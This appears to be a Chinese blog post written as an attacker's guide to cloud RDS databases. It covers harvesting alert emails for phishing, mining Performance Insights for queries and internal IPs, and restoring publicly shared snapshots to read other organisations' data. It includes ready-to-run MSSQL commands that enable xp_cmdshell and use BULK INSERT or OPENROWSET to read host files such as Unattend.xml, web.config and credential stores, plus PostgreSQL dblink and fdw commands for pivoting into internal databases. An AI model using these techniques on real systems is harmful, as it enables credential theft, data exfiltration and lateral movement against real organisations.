RDS云数据库安全

信息搜集

利用点

可获取的信息

风险价值

通知邮箱

安全/运维部门邮件地址

可用于社工、钓鱼、识别组织归属

性能详情

SQL语句、连接IP、用户名

高价值数据路径、内部资产信息

快照共享

数据库结构+部分数据内容

可能直接拿到敏感数据备份

通知邮箱收集(Alert Email)

路径:RDS 实例控制台 → “监控” → “事件订阅” → 编辑通知设置

  • 里面往往设置了异常通知邮箱,常见格式如:
security@company.com
devops-alert@target.com
用途
  • 可用于钓鱼攻击或社工搭建伪装身份
  • 验证公司归属(域名关联公司)
  • 进一步用于爆破邮箱、撞库等方式

性能详情信息(Performance Insights)

路径:RDS 控制台 → 实例 → “性能洞察(Performance Insights)”

可收集信息点:

指标

示例

TOP SQL 语句

SELECT * FROM users WHERE ...

TOP 数据库用户

admin@%, readonly@%

TOP 连接主机

内网IP:10.0.5.13、跳板IP

SQL 响应时间

哪些慢查询、压力点

用途
  • 暴露数据表名 / 字段名
  • 揭示用户行为、业务逻辑
  • 揭示潜在内网结构(谁在连数据库)

快照共享滥用(Snapshot Abuse)

背景
  • AWS RDS 允许对快照进行 “公开共享” 或“与特定账户共享”
  • 若配置不当,攻击者可以看到并还原这些快照
操作流程:
  1. 打开 RDS → 快照 → 查看“共享快照”
  2. 快照名字里可能带有公司名/数据库名等敏感信息,例如:
example-prod-2023-07-12
users-backup-2024-q1
  1. 使用 RDS 恢复快照为新实例(你自己账号下)
  2. 登录新实例数据库,直接读取快照中的数据!
用途
  • 数据泄露(敏感表、日志、用户密码)
  • 数据结构分析(用于构造 SQL 注入)
  • 横向信息(拿到配置、Token)

实战小工具推荐

工具

用途

aws cli

查看快照 / 数据库信息

RDSnapper

快照查找与还原(自动化)

CloudSploit

快照过度公开检测

cloud_enum

收集暴露的 AWS 域名/资源名

MSSQL 读取实例信息

前提

你必须拥有 足够权限的 MSSQL 账号,具体包括:

权限项

说明

BULK INSERT权限

允许导入外部文件

本地文件路径访问权限

数据库服务用户(一般是 NT SERVICE\MSSQLSERVER)要有读取本地文件权限

路径存在且目标文件非二进制

比如 .log.txt 等文本文件最适合读取

典型读取命令(以 AWS EC2 为例)

-- 创建临时表
create table #testtable(context ntext);

-- 从文件中导入内容
BULK INSERT #testtable
FROM 'C:\ProgramData\Amazon\EC2Launch\log\agent.log'
WITH (DATAFILETYPE = 'char', KEEPNULLS);

-- 查看读取结果
select * from #testtable;

-- 删除临时表
drop table #testtable;

可读取的典型文件

文件路径

内容

C:\Users\Administrator\Desktop\*.txt

桌面文件

C:\ProgramData\Amazon\EC2Launch\log\agent.log

启动日志(可能包含用户名/IP)

C:\Windows\Panther\Unattend.xml

安装文件(可能包含明文密码)

C:\inetpub\wwwroot\web.config

Web应用配置文件

C:\Program Files\Microsoft SQL Server\MSSQLXX.*\MSSQL\Log\ERRORLOG

数据库登录历史

C:\Users\Administrator\AppData\Local\Microsoft\Credentials

登录凭证数据(需要额外处理)

常见函数辅助利用(如果权限更高)

1. xp_cmdshell 执行命令(需要开启)

exec sp_configure 'show advanced options', 1; reconfigure;
exec sp_configure 'xp_cmdshell', 1; reconfigure;

exec xp_cmdshell 'type C:\Windows\Panther\Unattend.xml';

能执行命令直接读取文件内容,比 BULK INSERT 更强

2. OPENROWSET 方式读取文件(同样需要权限)

SELECT * FROM OPENROWSET(BULK 'C:\path\file.txt', SINGLE_CLOB) as contents

PostgreSQL 数据库 SSRF

已获得一台 PostgreSQL 实例的账号密码(一般是云中的 RDS 实例),通过它去访问另一个 内网数据库,即使本地不通,也能通过已有数据库“跳板”打过去

利用核心是dblink,dblink 是 PostgreSQL 提供的一个扩展功能,允许从一个数据库连接另一个 PostgreSQL 数据库并执行 SQL

利用流程

-- 开启扩展(前提是当前用户有权限)
CREATE EXTENSION dblink;
-- 第一步:建立连接
SELECT dblink_connect(
  'test',
  'host=内网数据库IP port=5432 user=postgres password=xxx dbname=postgres sslmode=disable'
);

-- 第二步:执行命令(发送查询语句)
SELECT * FROM dblink_send_query('test', 'SELECT version();');

-- 第三步:获取结果(必须有,否则阻塞)
SELECT * FROM dblink_get_result('test') AS t(res TEXT);

成功的话你将看到内网数据库版本信息,例如:

PostgreSQL 14.3 on x86_64-pc-linux-gnu, compiled by gcc, 64-bit

SSRF 升级版:非 PostgreSQL 的跳板利用

如果数据库服务器能联网,并支持 postgres_fdwfile_fdwmysql_fdw 等其他外部数据源,还可以:

模块

说明

postgres_fdw

可跨库访问,读取数据表

file_fdw

读本地文件,甚至日志等

mysql_fdw

PostgreSQL 跨库连 MySQL

postgresql://

SSRF 利用 URI schema 探测

posted @ 2025-07-13 15:18  ALe_#3  阅读(13)  评论(0)    收藏  举报  来源